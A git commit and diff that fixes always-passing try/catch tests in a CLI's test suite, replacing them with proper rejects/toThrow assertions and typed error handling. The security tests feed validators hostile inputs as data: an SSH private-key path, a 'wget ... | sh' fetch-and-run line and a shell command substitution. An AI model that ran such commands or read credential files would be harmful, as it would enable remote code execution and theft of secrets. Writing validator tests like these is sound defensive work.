test: fix always-pass and try/catch anti-patterns in test suite (#1962)

- manifest-helpers.test.ts: 7 tests used try/catch where the catch block
  held all assertions. Since loadManifest() loads the local manifest.json
  when NODE_ENV is not "test", these tests passed silently with 0 assertions.
  Fix: set NODE_ENV=test + call _resetCacheForTesting() in beforeEach, and
  replace try/catch with expect(...).rejects.toThrow(). Also remove `any`
  type annotations on agentKeys/cloudKeys helper manifests.

- security-edge-cases.test.ts: "should use custom field name in error messages"
  used a manual guard (throw new Error in try) instead of expect().toThrow().
  Replace with 2 clean expect(() => ...).toThrow() calls.

- prompt-file-security.test.ts + security.test.ts: tests that checked multiple
  error message properties used try/catch with `catch (e: any)`. Replace with
  proper instanceof narrowing so the caught value is typed without `any`.

Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>

packages/cli/src/__tests__/manifest-helpers.test.ts

@@ -1,6 +1,6 @@
 import { describe, it, expect, beforeEach, afterEach, mock } from "bun:test";
 import type { Manifest } from "../manifest";
-import { loadManifest, agentKeys, cloudKeys, matrixStatus, countImplemented } from "../manifest";
+import { loadManifest, _resetCacheForTesting, agentKeys, cloudKeys, matrixStatus, countImplemented } from "../manifest";
 import { mkdirSync, writeFileSync } from "node:fs";
 import type { TestEnvironment } from "./test-helpers";
 import { setupTestEnvironment, teardownTestEnvironment } from "./test-helpers";
@@ -21,12 +21,18 @@ import { setupTestEnvironment, teardownTestEnvironment } from "./test-helpers";
 describe("Manifest Helper Edge Cases", () => {
   describe("isValidManifest with unusual data shapes", () => {
     let env: TestEnvironment;
+    let savedNodeEnv: string | undefined;
 
     beforeEach(() => {
       env = setupTestEnvironment();
+      _resetCacheForTesting();
+      // Prevent local manifest.json fallback so fetch mock governs behavior
+      savedNodeEnv = process.env.NODE_ENV;
+      process.env.NODE_ENV = "test";
     });
 
     afterEach(() => {
+      process.env.NODE_ENV = savedNodeEnv;
       teardownTestEnvironment(env);
     });
 
@@ -43,62 +49,47 @@ describe("Manifest Helper Edge Cases", () => {
         ),
       );
 
-      try {
-        await loadManifest(true);
-      } catch (err: any) {
-        expect(err.message).toContain("Cannot load manifest");
-      }
+      await expect(loadManifest(true)).rejects.toThrow("Cannot load manifest");
     });
 
     it("should reject string as manifest data", async () => {
       global.fetch = mock(() => Promise.resolve(new Response(JSON.stringify("not a manifest"))));
 
-      try {
-        await loadManifest(true);
-      } catch (err: any) {
-        expect(err.message).toContain("Cannot load manifest");
-      }
+      await expect(loadManifest(true)).rejects.toThrow("Cannot load manifest");
     });
 
     it("should reject number as manifest data", async () => {
       global.fetch = mock(() => Promise.resolve(new Response(JSON.stringify(42))));
 
-      try {
-        await loadManifest(true);
-      } catch (err: any) {
-        expect(err.message).toContain("Cannot load manifest");
-      }
+      await expect(loadManifest(true)).rejects.toThrow("Cannot load manifest");
     });
 
     it("should reject boolean false as manifest data", async () => {
       global.fetch = mock(() => Promise.resolve(new Response(JSON.stringify(false))));
 
-      try {
-        await loadManifest(true);
-      } catch (err: any) {
-        expect(err.message).toContain("Cannot load manifest");
-      }
+      await expect(loadManifest(true)).rejects.toThrow("Cannot load manifest");
     });
 
     it("should reject undefined as manifest data", async () => {
       global.fetch = mock(() => Promise.resolve(new Response("undefined")));
 
-      try {
-        await loadManifest(true);
-      } catch (err: any) {
-        expect(err.message).toContain("Cannot load manifest");
-      }
+      await expect(loadManifest(true)).rejects.toThrow("Cannot load manifest");
     });
   });
 
   describe("readCache with corrupted data", () => {
     let env: TestEnvironment;
+    let savedNodeEnv: string | undefined;
 
     beforeEach(() => {
       env = setupTestEnvironment();
+      _resetCacheForTesting();
+      savedNodeEnv = process.env.NODE_ENV;
+      process.env.NODE_ENV = "test";
     });
 
     afterEach(() => {
+      process.env.NODE_ENV = savedNodeEnv;
       teardownTestEnvironment(env);
     });
 
@@ -110,11 +101,7 @@ describe("Manifest Helper Edge Cases", () => {
 
       global.fetch = mock(() => Promise.reject(new Error("Network error")));
 
-      try {
-        await loadManifest(true);
-      } catch (err: any) {
-        expect(err.message).toContain("Cannot load manifest");
-      }
+      await expect(loadManifest(true)).rejects.toThrow("Cannot load manifest");
     });
 
     it("should handle empty cache file gracefully", async () => {
@@ -125,11 +112,7 @@ describe("Manifest Helper Edge Cases", () => {
 
       global.fetch = mock(() => Promise.reject(new Error("Network error")));
 
-      try {
-        await loadManifest(true);
-      } catch (err: any) {
-        expect(err.message).toContain("Cannot load manifest");
-      }
+      await expect(loadManifest(true)).rejects.toThrow("Cannot load manifest");
     });
   });
 
@@ -230,7 +213,7 @@ describe("Manifest Helper Edge Cases", () => {
 
   describe("agentKeys and cloudKeys with many entries", () => {
     it("should return keys for manifest with many agents", () => {
-      const agents: Record<string, any> = {};
+      const agents: Record<string, Manifest["agents"][string]> = {};
       for (let i = 0; i < 20; i++) {
         agents[`agent-${i}`] = {
           name: `Agent ${i}`,
@@ -250,7 +233,7 @@ describe("Manifest Helper Edge Cases", () => {
     });
 
     it("should return keys for manifest with many clouds", () => {
-      const clouds: Record<string, any> = {};
+      const clouds: Record<string, Manifest["clouds"][string]> = {};
       for (let i = 0; i < 20; i++) {
         clouds[`cloud-${i}`] = {
           name: `Cloud ${i}`,

packages/cli/src/__tests__/prompt-file-security.test.ts

@@ -81,13 +81,16 @@ describe("validatePromptFilePath", () => {
   });
 
   it("should include helpful error message about exfiltration risk", () => {
+    let caught: unknown;
     try {
       validatePromptFilePath("/home/user/.ssh/id_rsa");
-      throw new Error("Expected to throw");
-    } catch (e: any) {
-      expect(e.message).toContain("sent to the agent");
-      expect(e.message).toContain("plain text file");
+    } catch (e) {
+      caught = e;
     }
+    expect(caught).toBeInstanceOf(Error);
+    const err = caught instanceof Error ? caught : null;
+    expect(err?.message).toContain("sent to the agent");
+    expect(err?.message).toContain("plain text file");
   });
 
   it("should reject SSH key files by filename pattern anywhere in path", () => {
@@ -144,12 +147,15 @@ describe("validatePromptFileStats", () => {
       isFile: () => true,
       size: 5 * 1024 * 1024,
     };
+    let caught: unknown;
     try {
       validatePromptFileStats("large.bin", stats);
-      throw new Error("Expected to throw");
-    } catch (e: any) {
-      expect(e.message).toContain("5.0MB");
-      expect(e.message).toContain("maximum is 1MB");
+    } catch (e) {
+      caught = e;
     }
+    expect(caught).toBeInstanceOf(Error);
+    const err = caught instanceof Error ? caught : null;
+    expect(err?.message).toContain("5.0MB");
+    expect(err?.message).toContain("maximum is 1MB");
   });
 });

packages/cli/src/__tests__/security-edge-cases.test.ts

@@ -50,19 +50,8 @@ describe("Security Edge Cases", () => {
     });
 
     it("should use custom field name in error messages", () => {
-      try {
-        validateIdentifier("", "Cloud provider");
-        throw new Error("Should have thrown");
-      } catch (e: any) {
-        expect(e.message).toContain("Cloud provider");
-      }
-
-      try {
-        validateIdentifier("UPPER", "Agent name");
-        throw new Error("Should have thrown");
-      } catch (e: any) {
-        expect(e.message).toContain("Agent name");
-      }
+      expect(() => validateIdentifier("", "Cloud provider")).toThrow("Cloud provider");
+      expect(() => validateIdentifier("UPPER", "Agent name")).toThrow("Agent name");
     });
 
     it("should reject URL-like identifiers", () => {

packages/cli/src/__tests__/security.test.ts

@@ -178,13 +178,16 @@ wget http://example.com/install.sh | sh
     });
 
     it("should provide helpful error message for command substitution", () => {
+      let caught: unknown;
       try {
         validatePrompt("Run $(echo test)");
-        throw new Error("Expected validatePrompt to throw");
-      } catch (e: any) {
-        expect(e.message).toContain("shell syntax");
-        expect(e.message).toContain("plain English");
+      } catch (e) {
+        caught = e;
       }
+      expect(caught).toBeInstanceOf(Error);
+      const err = caught instanceof Error ? caught : null;
+      expect(err?.message).toContain("shell syntax");
+      expect(err?.message).toContain("plain English");
     });
 
     it("should detect multiple dangerous patterns", () => {